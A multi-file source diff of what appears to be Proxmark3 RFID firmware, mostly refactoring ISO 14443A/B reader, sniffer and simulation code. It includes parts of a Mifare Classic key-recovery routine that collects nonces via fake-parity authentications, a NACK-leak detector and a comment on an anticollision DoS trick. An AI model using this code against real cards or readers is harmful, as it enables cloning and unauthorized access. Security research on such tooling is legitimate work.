bool GetIso14443aAnswerFromTag_Thinfilm(uint8_t *receivedResponse, uint8_t *received_len) {
if (!hf_field_active)
return false;
// Set FPGA mode to "reader listen mode", no modulation (listen
// only, since we are receiving, not transmitting).
@ -1930,13 +2063,62 @@ static int GetIso14443aAnswerFromTag(uint8_t *receivedResponse, uint8_t *receive
FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_LISTEN);
// Now get the answer from the card
DemodInit(receivedResponse, receivedResponsePar);
Demod14aInit(receivedResponse, NULL);
// clear RXRDY:
uint8_t b = (uint8_t)AT91C_BASE_SSC->SSC_RHR;
(void)b;
uint32_t receive_timer = GetTickCount();
for (;;) {
WDT_HIT();
if (AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) {
b = (uint8_t)AT91C_BASE_SSC->SSC_RHR;
if (ManchesterDecoding_Thinfilm(b)) {
*received_len = Demod.len;
// log
LogTrace(receivedResponse, Demod.len, Demod.startTime * 16 - DELAY_AIR2ARM_AS_READER, Demod.endTime * 16 - DELAY_AIR2ARM_AS_READER, NULL, false);
return true;
}
}
if (GetTickCountDelta(receive_timer) > 100)
break;
}
*received_len = Demod.len;
// log
LogTrace(receivedResponse, Demod.len, Demod.startTime * 16 - DELAY_AIR2ARM_AS_READER, Demod.endTime * 16 - DELAY_AIR2ARM_AS_READER, NULL, false);
return false;
}
//-----------------------------------------------------------------------------
// Wait a certain time for tag response
// If a response is captured return TRUE
// If it takes too long return FALSE
//-----------------------------------------------------------------------------
static int GetIso14443aAnswerFromTag(uint8_t *receivedResponse, uint8_t *receivedResponsePar, uint16_t offset) {
uint32_t c = 0;
if (!hf_field_active)
return false;
// Set FPGA mode to "reader listen mode", no modulation (listen
// only, since we are receiving, not transmitting).
// Signal field is on with the appropriate LED
LED_D_ON();
FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_LISTEN);
// Now get the answer from the card
Demod14aInit(receivedResponse, receivedResponsePar);
// clear RXRDY:
uint8_t b = (uint8_t)AT91C_BASE_SSC->SSC_RHR;
(void)b;
uint32_t timeout = iso14a_get_timeout();
uint32_t receive_timer = GetTickCount();
for (;;) {
WDT_HIT();
@ -1945,11 +2127,16 @@ static int GetIso14443aAnswerFromTag(uint8_t *receivedResponse, uint8_t *receive
if (ManchesterDecoding(b, offset, 0)) {
NextTransferTime = MAX(NextTransferTime, Demod.endTime - (DELAY_AIR2ARM_AS_READER + DELAY_ARM2AIR_AS_READER) / 16 + FRAME_DELAY_TIME_PICC_TO_PCD);
return true;
} else if (c++ > timeout && Demod.state == DEMOD_UNSYNCD) {
} else if (c++ > timeout && Demod.state == DEMOD_14A_UNSYNCD) {
return false;
}
}
// timeout already in ms + 100ms guard time
if (GetTickCountDelta(receive_timer) > timeout + 100)
break;
}
return false;
}
void ReaderTransmitBitsPar(uint8_t *frame, uint16_t bits, uint8_t *par, uint32_t *timing) {
@ -1994,6 +2181,7 @@ int ReaderReceive(uint8_t *receivedAnswer, uint8_t *par) {
return Demod.len;
}
// This function misstreats the ISO 14443a anticollision procedure.
// by fooling the reader there is a collision and forceing the reader to
// increase the uid bytes. The might be an overflow, DoS will occure.
@ -2339,8 +2527,7 @@ void iso14443a_setup(uint8_t fpga_minor_mode) {
LED_D_OFF();
// Signal field is on with the appropriate LED
if (fpga_minor_mode == FPGA_HF_ISO14443A_READER_MOD ||
fpga_minor_mode == FPGA_HF_ISO14443A_READER_LISTEN)
if (fpga_minor_mode == FPGA_HF_ISO14443A_READER_MOD || fpga_minor_mode == FPGA_HF_ISO14443A_READER_LISTEN)
LED_D_ON();
FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | fpga_minor_mode);
@ -2350,10 +2537,19 @@ void iso14443a_setup(uint8_t fpga_minor_mode) {
StartCountSspClk();
// Prepare the demodulation functions
DemodReset();
UartReset();
Demod14aReset();
Uart14aReset();
NextTransferTime = 2 * DELAY_ARM2AIR_AS_READER;
iso14a_set_timeout(1060); // 106 * 10ms default
hf_field_active = true;
}
void hf_field_off(void) {
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
LEDsoff();
hf_field_active = false;
}
/* Peter Fillmore 2015
@ -2492,6 +2688,8 @@ void ReaderIso14443a(PacketCommandNG *c) {
if (!(param & ISO14A_NO_SELECT)) {
iso14a_card_select_t *card = (iso14a_card_select_t *)buf;
arg0 = iso14443a_select_card(NULL, card, NULL, true, 0, param & ISO14A_NO_RATS);
FpgaDisableTracing();
reply_mix(CMD_ACK, arg0, card->uidlen, 0, buf, sizeof(iso14a_card_select_t));
if (arg0 == 0)
goto OUT;
@ -2504,6 +2702,8 @@ void ReaderIso14443a(PacketCommandNG *c) {
if ((param & ISO14A_APDU)) {
uint8_t res;
arg0 = iso14_apdu(cmd, len, (param & ISO14A_SEND_CHAINING), buf, &res);
FpgaDisableTracing();
reply_old(CMD_ACK, arg0, res, 0, buf, sizeof(buf));
}
@ -2548,6 +2748,8 @@ void ReaderIso14443a(PacketCommandNG *c) {
}
}
arg0 = ReaderReceive(buf, par);
FpgaDisableTracing();
reply_old(CMD_ACK, arg0, 0, 0, buf, sizeof(buf));
}
@ -2558,9 +2760,8 @@ void ReaderIso14443a(PacketCommandNG *c) {
return;
OUT:
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
hf_field_off();
set_tracing(false);
LEDsoff();
}
// Determine the distance between two nonces.
@ -2635,6 +2836,8 @@ void ReaderMifare(bool first_try, uint8_t block, uint8_t keytype) {
static uint8_t par_low = 0;
static uint8_t mf_nr_ar3 = 0;
int return_status = PM3_SUCCESS;
AddCrc14A(mf_auth, 2);
if (first_try) {
@ -2651,6 +2854,7 @@ void ReaderMifare(bool first_try, uint8_t block, uint8_t keytype) {
}
LED_C_ON();
uint16_t checkbtn_cnt = 0;
uint16_t i;
for (i = 0; true; ++i) {
@ -2659,16 +2863,21 @@ void ReaderMifare(bool first_try, uint8_t block, uint8_t keytype) {
WDT_HIT();
// Test if the action was cancelled
if (BUTTON_PRESS()) {
isOK = -1;
break;
if (checkbtn_cnt == 1000) {
if (BUTTON_PRESS() || data_available()) {
isOK = -1;
return_status = PM3_EOPABORTED;
break;
}
checkbtn_cnt = 0;
}
++checkbtn_cnt;
// this part is from Piwi's faster nonce collecting part in Hardnested.
if (!have_uid) { // need a full select cycle to get the uid first
iso14a_card_select_t card_info;
if (!iso14443a_select_card(uid, &card_info, &cuid, true, 0, true)) {
if (DBGLEVEL >= DBG_ERROR) Dbprintf("Mifare: Can't select card (ALL)");
if (DBGLEVEL >= DBG_INFO) Dbprintf("Mifare: Can't select card (ALL)");
continue;
}
switch (card_info.uidlen) {
@ -2687,7 +2896,7 @@ void ReaderMifare(bool first_try, uint8_t block, uint8_t keytype) {
have_uid = true;
} else { // no need for anticollision. We can directly select the card
if (!iso14443a_fast_select_card(uid, cascade_levels)) {
if (DBGLEVEL >= DBG_ERROR) Dbprintf("Mifare: Can't select card (UID)");
if (DBGLEVEL >= DBG_INFO) Dbprintf("Mifare: Can't select card (UID)");
continue;
}
}
@ -2720,8 +2929,16 @@ void ReaderMifare(bool first_try, uint8_t block, uint8_t keytype) {
ReaderTransmitPar(mf_nr_ar, sizeof(mf_nr_ar), par, NULL);
// Receive answer. This will be a 4 Bit NACK when the 8 parity bits are OK after decoding
if (ReaderReceive(receivedAnswer, receivedAnswerPar))
int resp_res = ReaderReceive(receivedAnswer, receivedAnswerPar);
if (resp_res == 1)
received_nack = true;
else if (resp_res == 4) {
// did we get lucky and got our dummykey to be valid?
// however we dont feed key w uid it the prng..
isOK = -6;
break;
}
// we didn't calibrate our clock yet,
// iceman: has to be calibrated every time.
@ -2842,29 +3059,40 @@ void ReaderMifare(bool first_try, uint8_t block, uint8_t keytype) {
mf_nr_ar[3] &= 0x1F;
if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("Number of sent auth requestes: %u", i);
if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("Number of sent auth requests: %u", i);
uint8_t buf[32] = {0x00};
memset(buf, 0x00, sizeof(buf));
num_to_bytes(cuid, 4, buf);
num_to_bytes(nt, 4, buf + 4);
memcpy(buf + 8, par_list, 8);
memcpy(buf + 16, ks_list, 8);
memcpy(buf + 24, mf_nr_ar, 8);
FpgaDisableTracing();
reply_mix(CMD_ACK, isOK, 0, 0, buf, sizeof(buf));
struct {
int32_t isOK;
uint8_t cuid[4];
uint8_t nt[4];
uint8_t par_list[8];
uint8_t ks_list[8];
uint8_t nr[4];
uint8_t ar[4];
} PACKED payload;
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
LEDsoff();
payload.isOK = isOK;
num_to_bytes(cuid, 4, payload.cuid);
num_to_bytes(nt, 4, payload.nt);
memcpy(payload.par_list, par_list, sizeof(payload.par_list));
memcpy(payload.ks_list, ks_list, sizeof(payload.ks_list));
memcpy(payload.nr, mf_nr_ar, sizeof(payload.nr));
memcpy(payload.ar, mf_nr_ar + 4, sizeof(payload.ar));
reply_ng(CMD_HF_MIFARE_READER, return_status, (uint8_t *)&payload, sizeof(payload));
hf_field_off();
set_tracing(false);
}
/*
* Mifare Classic NACK-bug detection
* Thanks to @doegox for the feedback and new approaches.
* Mifare Classic NACK-bug detection
* Thanks to @doegox for the feedback and new approaches.
*/
void DetectNACKbug() {
uint8_t mf_auth[] = {0x60, 0x00, 0xF5, 0x7B};
void DetectNACKbug(void) {
uint8_t mf_auth[] = {0x60, 0x00, 0xF5, 0x7B};
uint8_t mf_nr_ar[] = {0, 0, 0, 0, 0, 0, 0, 0};
uint8_t uid[10] = {0, 0, 0, 0, 0, 0, 0, 0, 0, 0};
uint8_t receivedAnswer[MAX_MIFARE_FRAME_SIZE] = {0x00};
@ -2895,6 +3123,8 @@ void DetectNACKbug() {
sync_time = GetCountSspClk() & 0xfffffff8;
LED_C_ON();
uint16_t checkbtn_cnt = 0;
uint16_t i;
for (i = 1; true; ++i) {
@ -2909,16 +3139,20 @@ void DetectNACKbug() {
WDT_HIT();
// Test if the action was cancelled
if (BUTTON_PRESS() || data_available()) {
status = PM3_EOPABORTED;
break;
if (checkbtn_cnt == 1000) {
if (BUTTON_PRESS() || data_available()) {
status = PM3_EOPABORTED;
break;
}
checkbtn_cnt = 0;
}
++checkbtn_cnt;
// this part is from Piwi's faster nonce collecting part in Hardnested.
if (!have_uid) { // need a full select cycle to get the uid first
iso14a_card_select_t card_info;
if (!iso14443a_select_card(uid, &card_info, &cuid, true, 0, true)) {
if (DBGLEVEL >= DBG_ERROR) Dbprintf("Mifare: Can't select card (ALL)");
if (DBGLEVEL >= DBG_INFO) Dbprintf("Mifare: Can't select card (ALL)");
i = 0;
continue;
}
@ -2940,7 +3174,7 @@ void DetectNACKbug() {
have_uid = true;
} else { // no need for anticollision. We can directly select the card
if (!iso14443a_fast_select_card(uid, cascade_levels)) {
if (DBGLEVEL >= DBG_ERROR) Dbprintf("Mifare: Can't select card (UID)");
if (DBGLEVEL >= DBG_INFO) Dbprintf("Mifare: Can't select card (UID)");
i = 0;
have_uid = false;
continue;
@ -2972,10 +3206,11 @@ void DetectNACKbug() {
// Transmit reader nonce with fake par
ReaderTransmitPar(mf_nr_ar, sizeof(mf_nr_ar), par, NULL);
// Receive answer. This will be a 4 Bit NACK when the 8 parity bits are OK after decoding
if (ReaderReceive(receivedAnswer, receivedAnswerPar)) {
received_nack = true;
num_nacks++;
// ALWAYS leak Detection.
// ALWAYS leak Detection. Well, we could be lucky and get a response nack on first try.
if (i == num_nacks) {
continue;
}
@ -3085,16 +3320,15 @@ void DetectNACKbug() {
// num_nacks = number of nacks recieved. should be only 1. if not its a clone card which always sends NACK (parity == 0) ?
// i = number of authentications sent. Not always 256, since we are trying to sync but close to it.
FpgaDisableTracing();
uint8_t *data = BigBuf_malloc(4);
data[0] = isOK;
data[1] = num_nacks;
num_to_bytes(i, 2, data + 2);
reply_ng(CMD_MIFARE_NACK_DETECT, status, data, 4);
reply_ng(CMD_HF_MIFARE_NACK_DETECT, status, data, 4);
//reply_mix(CMD_ACK, isOK, num_nacks, i, 0, 0);
BigBuf_free();
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
LEDsoff();
hf_field_off();
set_tracing(false);
}

View file

@ -13,21 +13,10 @@
#ifndef __ISO14443A_H
#define __ISO14443A_H
#ifdef __cplusplus
extern "C" {
#endif
#include "common.h"
#include "mifare.h" // struct
#include "pm3_cmd.h"
#include "cmd.h"
#include "apps.h"
#include "util.h"
#include "string.h"
#include "crc16.h"
#include "mifaresniff.h"
#include "crapto1/crapto1.h"
#include "mifareutil.h"
#include "parity.h"
#include "mifare.h" // structs
#include "crc16.h" // compute_crc
// When the PM acts as tag and is receiving it takes
// 2 ticks delay in the RF part (for the first falling edge),
@ -42,11 +31,11 @@ extern "C" {
typedef struct {
enum {
DEMOD_UNSYNCD,
// DEMOD_HALF_SYNCD,
// DEMOD_MOD_FIRST_HALF,
// DEMOD_NOMOD_FIRST_HALF,
DEMOD_MANCHESTER_DATA
DEMOD_14A_UNSYNCD,
// DEMOD_14A_HALF_SYNCD,
// DEMOD_14A_MOD_FIRST_HALF,
// DEMOD_14A_NOMOD_FIRST_HALF,
DEMOD_14A_MANCHESTER_DATA
} state;
uint16_t twoBits;
uint16_t highCnt;
@ -61,7 +50,7 @@ typedef struct {
uint32_t startTime, endTime;
uint8_t *output;
uint8_t *parity;
} tDemod;
} tDemod14a;
/*
typedef enum {
MOD_NOMOD = 0,
@ -73,11 +62,11 @@ typedef enum {
typedef struct {
enum {
STATE_UNSYNCD,
STATE_START_OF_COMMUNICATION,
STATE_MILLER_X,
STATE_MILLER_Y,
STATE_MILLER_Z,
STATE_14A_UNSYNCD,
STATE_14A_START_OF_COMMUNICATION,
STATE_14A_MILLER_X,
STATE_14A_MILLER_Y,
STATE_14A_MILLER_Z,
// DROP_NONE,
// DROP_FIRST_HALF,
} state;
@ -93,7 +82,7 @@ typedef struct {
uint32_t startTime, endTime;
uint8_t *output;
uint8_t *parity;
} tUart;
} tUart14a;
#ifndef AddCrc14A
# define AddCrc14A(data, len) compute_crc(CRC_14443_A, (data), (len), (data)+(len), (data)+(len)+1)
@ -104,17 +93,20 @@ typedef struct {
#endif
#ifndef CheckCrc14A
# define CheckCrc14A(data, len) check_crc(CRC_14443_A, (data), (len))
# define CheckCrc14A(data, len) check_crc(CRC_14443_A, (data), (len))
#endif
void iso14a_set_timeout(uint32_t timeout);
uint32_t iso14a_get_timeout(void);
void GetParity(const uint8_t *pbtCmd, uint16_t len, uint8_t *par);
tDemod *GetDemod(void);
void DemodReset(void);
void DemodInit(uint8_t *data, uint8_t *par);
tUart *GetUart(void);
void UartReset(void);
void UartInit(uint8_t *data, uint8_t *par);
tDemod14a *GetDemod14a(void);
void Demod14aReset(void);
void Demod14aInit(uint8_t *data, uint8_t *par);
tUart14a *GetUart14a(void);
void Uart14aReset(void);
void Uart14aInit(uint8_t *data, uint8_t *par);
RAMFUNC bool MillerDecoding(uint8_t bit, uint32_t non_real_time);
RAMFUNC int ManchesterDecoding(uint8_t bit, uint16_t offset, uint32_t non_real_time);
@ -132,6 +124,7 @@ int iso14_apdu(uint8_t *cmd, uint16_t cmd_len, bool send_chaining, void *data, u
int iso14443a_select_card(uint8_t *uid_ptr, iso14a_card_select_t *p_card, uint32_t *cuid_ptr, bool anticollision, uint8_t num_cascades, bool no_rats);
int iso14443a_fast_select_card(uint8_t *uid_ptr, uint8_t num_cascades);
void iso14a_set_trigger(bool enable);
void hf_field_off(void);
int EmSendCmd14443aRaw(uint8_t *resp, uint16_t respLen);
int EmSend4bit(uint8_t resp);
@ -148,10 +141,8 @@ bool EmLogTrace(uint8_t *reader_data, uint16_t reader_len, uint32_t reader_Start
uint8_t *tag_data, uint16_t tag_len, uint32_t tag_StartTime, uint32_t tag_EndTime, uint8_t *tag_Parity);
void ReaderMifare(bool first_try, uint8_t block, uint8_t keytype);
void DetectNACKbug();
void DetectNACKbug(void);
#ifdef __cplusplus
}
#endif
bool GetIso14443aAnswerFromTag_Thinfilm(uint8_t *receivedResponse, uint8_t *received_len);
#endif /* __ISO14443A_H */

View file

@ -10,6 +10,20 @@
//-----------------------------------------------------------------------------
#include "iso14443b.h"
#include "proxmark3_arm.h"
#include "common.h" // access to global variable: DBGLEVEL
#include "util.h"
#include "string.h"
#include "crc16.h"
#include "protocols.h"
#include "appmain.h"
#include "BigBuf.h"
#include "cmd.h"
#include "fpgaloader.h"
#include "commonutil.h"
#include "dbprint.h"
#include "ticks.h"
#ifndef FWT_TIMEOUT_14B
// defaults to 2000ms
# define FWT_TIMEOUT_14B 35312
@ -52,7 +66,7 @@ static uint32_t iso14b_timeout = FWT_TIMEOUT_14B;
//=============================================================================
// An ISO 14443 Type B tag. We listen for commands from the reader, using
// a UART kind of thing that's implemented in software. When we get a
// a kind of thing that's implemented in software. When we get a
// frame (i.e., a group of bytes between SOF and EOF), we check the CRC.
// If it's good, then we can do something appropriate with it, and send
// a response.
@ -60,14 +74,14 @@ static uint32_t iso14b_timeout = FWT_TIMEOUT_14B;
//-----------------------------------------------------------------------------
// The software UART that receives commands from the reader, and its state variables.
// The software that receives commands from the reader, and its state variables.
//-----------------------------------------------------------------------------
static struct {
enum {
STATE_UNSYNCD,
STATE_GOT_FALLING_EDGE_OF_SOF,
STATE_AWAITING_START_BIT,
STATE_RECEIVING_DATA
STATE_14B_UNSYNCD,
STATE_14B_GOT_FALLING_EDGE_OF_SOF,
STATE_14B_AWAITING_START_BIT,
STATE_14B_RECEIVING_DATA
} state;
uint16_t shiftReg;
int bitCnt;
@ -77,8 +91,8 @@ static struct {
uint8_t *output;
} Uart;
static void UartReset() {
Uart.state = STATE_UNSYNCD;
static void Uart14bReset() {
Uart.state = STATE_14B_UNSYNCD;
Uart.shiftReg = 0;
Uart.bitCnt = 0;
Uart.byteCnt = 0;
@ -86,9 +100,9 @@ static void UartReset() {
Uart.posCnt = 0;
}
static void UartInit(uint8_t *data) {
static void Uart14bInit(uint8_t *data) {
Uart.output = data;
UartReset();
Uart14bReset();
// memset(Uart.output, 0x00, MAX_FRAME_SIZE);
}
@ -120,7 +134,7 @@ static struct {
} Demod;
// Clear out the state of the "UART" that receives from the tag.
static void DemodReset() {
static void Demod14bReset() {
Demod.state = DEMOD_UNSYNCD;
Demod.bitCount = 0;
Demod.posCount = 0;
@ -133,9 +147,9 @@ static void DemodReset() {
Demod.endTime = 0;
}
static void DemodInit(uint8_t *data) {
static void Demod14bInit(uint8_t *data) {
Demod.output = data;
DemodReset();
Demod14bReset();
// memset(Demod.output, 0x00, MAX_FRAME_SIZE);
}
@ -315,16 +329,16 @@ static void CodeIso14443bAsTag(const uint8_t *cmd, int len) {
*/
static RAMFUNC int Handle14443bReaderUartBit(uint8_t bit) {
switch (Uart.state) {
case STATE_UNSYNCD:
case STATE_14B_UNSYNCD:
if (!bit) {
// we went low, so this could be the beginning of an SOF
Uart.state = STATE_GOT_FALLING_EDGE_OF_SOF;
Uart.state = STATE_14B_GOT_FALLING_EDGE_OF_SOF;
Uart.posCnt = 0;
Uart.bitCnt = 0;
}
break;
case STATE_GOT_FALLING_EDGE_OF_SOF:
case STATE_14B_GOT_FALLING_EDGE_OF_SOF:
Uart.posCnt++;
if (Uart.posCnt == 2) { // sample every 4 1/fs in the middle of a bit
if (bit) {
@ -333,11 +347,11 @@ static RAMFUNC int Handle14443bReaderUartBit(uint8_t bit) {
// zeros that it's a valid SOF
Uart.posCnt = 0;
Uart.byteCnt = 0;
Uart.state = STATE_AWAITING_START_BIT;
Uart.state = STATE_14B_AWAITING_START_BIT;
LED_A_ON(); // Indicate we got a valid SOF
} else {
// didn't stay down long enough before going high, error
Uart.state = STATE_UNSYNCD;
Uart.state = STATE_14B_UNSYNCD;
}
} else {
// do nothing, keep waiting
@ -348,27 +362,27 @@ static RAMFUNC int Handle14443bReaderUartBit(uint8_t bit) {
if (Uart.bitCnt > 12) {
// Give up if we see too many zeros without a one, too.
LED_A_OFF();
Uart.state = STATE_UNSYNCD;
Uart.state = STATE_14B_UNSYNCD;
}
break;
case STATE_AWAITING_START_BIT:
case STATE_14B_AWAITING_START_BIT:
Uart.posCnt++;
if (bit) {
if (Uart.posCnt > 50 / 2) { // max 57us between characters = 49 1/fs, max 3 etus after low phase of SOF = 24 1/fs
// stayed high for too long between characters, error
Uart.state = STATE_UNSYNCD;
Uart.state = STATE_14B_UNSYNCD;
}
} else {
// falling edge, this starts the data byte
Uart.posCnt = 0;
Uart.bitCnt = 0;
Uart.shiftReg = 0;
Uart.state = STATE_RECEIVING_DATA;
Uart.state = STATE_14B_RECEIVING_DATA;
}
break;
case STATE_RECEIVING_DATA:
case STATE_14B_RECEIVING_DATA:
Uart.posCnt++;
if (Uart.posCnt == 2) {
// time to sample a bit
@ -391,30 +405,30 @@ static RAMFUNC int Handle14443bReaderUartBit(uint8_t bit) {
if (Uart.byteCnt >= Uart.byteCntMax) {
// Buffer overflowed, give up
LED_A_OFF();
Uart.state = STATE_UNSYNCD;
Uart.state = STATE_14B_UNSYNCD;
} else {
// so get the next byte now
Uart.posCnt = 0;
Uart.state = STATE_AWAITING_START_BIT;
Uart.state = STATE_14B_AWAITING_START_BIT;
}
} else if (Uart.shiftReg == 0x000) {
// this is an EOF byte
LED_A_OFF(); // Finished receiving
Uart.state = STATE_UNSYNCD;
Uart.state = STATE_14B_UNSYNCD;
if (Uart.byteCnt != 0)
return true;
} else {
// this is an error
LED_A_OFF();
Uart.state = STATE_UNSYNCD;
Uart.state = STATE_14B_UNSYNCD;
}
}
break;
default:
LED_A_OFF();
Uart.state = STATE_UNSYNCD;
Uart.state = STATE_14B_UNSYNCD;
break;
}
return false;
@ -454,7 +468,7 @@ static int GetIso14443bCommandFromReader(uint8_t *received, uint16_t *len) {
}
*/
// Now run a `software UART' on the stream of incoming samples.
UartInit(received);
Uart14bInit(received);
uint8_t mask;
while (!BUTTON_PRESS()) {
@ -621,7 +635,12 @@ void SimulateIso14443bTag(uint32_t pupi) {
// find reader field
if (cardSTATE == SIM_NOFIELD) {
#if defined RDV4
vHf = (MAX_ADC_HF_VOLTAGE_RDV40 * AvgAdc(ADC_CHAN_HF_RDV40)) >> 10;
#else
vHf = (MAX_ADC_HF_VOLTAGE * AvgAdc(ADC_CHAN_HF)) >> 10;
#endif
if (vHf > MF_MINFIELDV) {
cardSTATE = SIM_IDLE;
LED_A_ON();
@ -949,7 +968,7 @@ static void GetTagSamplesFor14443bDemod() {
BigBuf_free();
// Set up the demodulator for tag -> reader responses.
DemodInit(BigBuf_malloc(MAX_FRAME_SIZE));
Demod14bInit(BigBuf_malloc(MAX_FRAME_SIZE));
// The DMA buffer, used to stream samples from the FPGA
int8_t *dmaBuf = (int8_t *) BigBuf_malloc(ISO14443B_DMA_BUFFER_SIZE);
@ -1151,6 +1170,9 @@ uint8_t iso14443b_apdu(uint8_t const *message, size_t message_length, uint8_t *r
CodeAndTransmit14443bAsReader(message_frame, message_length + 4); //no
// get response
GetTagSamplesFor14443bDemod(); //no
FpgaDisableTracing();
if (Demod.len < 3)
return 0;
@ -1177,6 +1199,7 @@ uint8_t iso14443b_select_srx_card(iso14b_card_select_t *card) {
CodeAndTransmit14443bAsReader(init_srx, sizeof(init_srx));
GetTagSamplesFor14443bDemod(); //no
FpgaDisableTracing();
if (Demod.len == 0)
return 2;
@ -1190,6 +1213,7 @@ uint8_t iso14443b_select_srx_card(iso14b_card_select_t *card) {
CodeAndTransmit14443bAsReader(select_srx, sizeof(select_srx));
GetTagSamplesFor14443bDemod(); //no
FpgaDisableTracing();
if (Demod.len != 3)
return 2;
@ -1208,6 +1232,7 @@ uint8_t iso14443b_select_srx_card(iso14b_card_select_t *card) {
AddCrc14B(select_srx, 1);
CodeAndTransmit14443bAsReader(select_srx, 3); // Only first three bytes for this one
GetTagSamplesFor14443bDemod(); //no
FpgaDisableTracing();
if (Demod.len != 10)
return 2;
@ -1239,6 +1264,7 @@ uint8_t iso14443b_select_card(iso14b_card_select_t *card) {
// first, wake up the tag
CodeAndTransmit14443bAsReader(wupb, sizeof(wupb));
GetTagSamplesFor14443bDemod(); //select_card
FpgaDisableTracing();
// ATQB too short?
if (Demod.len < 14)
@ -1263,6 +1289,7 @@ uint8_t iso14443b_select_card(iso14b_card_select_t *card) {
CodeAndTransmit14443bAsReader(attrib, sizeof(attrib));
GetTagSamplesFor14443bDemod();//select_card
FpgaDisableTracing();
// Answer to ATTRIB too short?
if (Demod.len < 3)
@ -1306,8 +1333,8 @@ void iso14443b_setup() {
FpgaDownloadAndGo(FPGA_BITSTREAM_HF);
// Initialize Demod and Uart structs
DemodInit(BigBuf_malloc(MAX_FRAME_SIZE));
UartInit(BigBuf_malloc(MAX_FRAME_SIZE));
Demod14bInit(BigBuf_malloc(MAX_FRAME_SIZE));
Uart14bInit(BigBuf_malloc(MAX_FRAME_SIZE));
// connect Demodulated Signal to ADC:
SetAdcMuxFor(GPIO_MUXSEL_HIPKD);
@ -1339,6 +1366,7 @@ static bool ReadSTBlock(uint8_t block) {
AddCrc14B(cmd, 2);
CodeAndTransmit14443bAsReader(cmd, sizeof(cmd));
GetTagSamplesFor14443bDemod();
FpgaDisableTracing();
// Check if we got an answer from the tag
if (Demod.len != 6) {
@ -1411,8 +1439,8 @@ static void iso1444b_setup_sniff(void) {
set_tracing(true);
// Initialize Demod and Uart structs
DemodInit(BigBuf_malloc(MAX_FRAME_SIZE));
UartInit(BigBuf_malloc(MAX_FRAME_SIZE));
Demod14bInit(BigBuf_malloc(MAX_FRAME_SIZE));
Uart14bInit(BigBuf_malloc(MAX_FRAME_SIZE));
if (DBGLEVEL > 1) {
// Print debug information about the buffer sizes
@ -1502,8 +1530,8 @@ void RAMFUNC SniffIso14443b(void) {
if (Handle14443bReaderUartBit(ci & 0x01)) {
time_stop = GetCountSspClk() - time_0;
LogTrace(Uart.output, Uart.byteCnt, time_start, time_stop, NULL, true);
UartReset();
DemodReset();
Uart14bReset();
Demod14bReset();
} else {
time_start = GetCountSspClk() - time_0;
}
@ -1511,12 +1539,12 @@ void RAMFUNC SniffIso14443b(void) {
if (Handle14443bReaderUartBit(cq & 0x01)) {
time_stop = GetCountSspClk() - time_0;
LogTrace(Uart.output, Uart.byteCnt, time_start, time_stop, NULL, true);
UartReset();
DemodReset();
Uart14bReset();
Demod14bReset();
} else {
time_start = GetCountSspClk() - time_0;
}
ReaderIsActive = (Uart.state > STATE_GOT_FALLING_EDGE_OF_SOF);
ReaderIsActive = (Uart.state > STATE_14B_GOT_FALLING_EDGE_OF_SOF);
}
// no need to try decoding tag data if the reader is sending - and we cannot afford the time
@ -1527,8 +1555,8 @@ void RAMFUNC SniffIso14443b(void) {
if (Handle14443bTagSamplesDemod(ci, cq)) {
time_stop = GetCountSspClk() - time_0;
LogTrace(Demod.output, Demod.len, time_start, time_stop, NULL, false);
UartReset();
DemodReset();
Uart14bReset();
Demod14bReset();
} else {
time_start = GetCountSspClk() - time_0;
}
@ -1588,7 +1616,7 @@ void SendRawCommand14443B_Ex(PacketCommandNG *c) {
if ((param & ISO14B_SELECT_STD) == ISO14B_SELECT_STD) {
iso14b_card_select_t *card = (iso14b_card_select_t *)buf;
status = iso14443b_select_card(card);
reply_old(CMD_ACK, status, sendlen, 0, buf, sendlen);
reply_mix(CMD_ACK, status, sendlen, 0, buf, sendlen);
// 0: OK 2: attrib fail, 3:crc fail,
if (status > 0) goto out;
}
@ -1596,14 +1624,14 @@ void SendRawCommand14443B_Ex(PacketCommandNG *c) {
if ((param & ISO14B_SELECT_SR) == ISO14B_SELECT_SR) {
iso14b_card_select_t *card = (iso14b_card_select_t *)buf;
status = iso14443b_select_srx_card(card);
reply_old(CMD_ACK, status, sendlen, 0, buf, sendlen);
reply_mix(CMD_ACK, status, sendlen, 0, buf, sendlen);
// 0: OK 2: demod fail, 3:crc fail,
if (status > 0) goto out;
}
if ((param & ISO14B_APDU) == ISO14B_APDU) {
status = iso14443b_apdu(cmd, len, buf);
reply_old(CMD_ACK, status, status, 0, buf, status);
reply_mix(CMD_ACK, status, status, 0, buf, status);
}
if ((param & ISO14B_RAW) == ISO14B_RAW) {
@ -1614,6 +1642,7 @@ void SendRawCommand14443B_Ex(PacketCommandNG *c) {
CodeAndTransmit14443bAsReader(cmd, len); // raw
GetTagSamplesFor14443bDemod(); // raw
FpgaDisableTracing();
sendlen = MIN(Demod.len, PM3_CMD_DATA_SIZE);
status = (Demod.len > 0) ? 0 : 1;

View file

@ -13,18 +13,10 @@
#ifndef __ISO14443B_H
#define __ISO14443B_H
#ifdef __cplusplus
extern "C" {
#endif
#include "common.h"
#include "proxmark3.h"
#include "common.h" // access to global variable: DBGLEVEL
#include "apps.h"
#include "util.h"
#include "string.h"
#include "crc16.h"
#include "mifare.h"
#include "protocols.h"
#include "pm3_cmd.h"
#ifndef AddCrc14A
# define AddCrc14A(data, len) compute_crc(CRC_14443_A, (data), (len), (data)+(len), (data)+(len)+1)
@ -34,12 +26,18 @@ extern "C" {
# define AddCrc14B(data, len) compute_crc(CRC_14443_B, (data), (len), (data)+(len), (data)+(len)+1)
#endif
void SendRawCommand14443B_Ex(PacketCommandNG *c);
void iso14443b_setup();
uint8_t iso14443b_apdu(uint8_t const *message, size_t message_length, uint8_t *response);
uint8_t iso14443b_select_card(iso14b_card_select_t *card);
uint8_t iso14443b_select_card_srx(iso14b_card_select_t *card);
void SimulateIso14443bTag(uint32_t pupi);
void AcquireRawAdcSamplesIso14443b(uint32_t parameter);
void ReadSTMemoryIso14443b(uint8_t numofblocks);
void RAMFUNC SniffIso14443b(void);
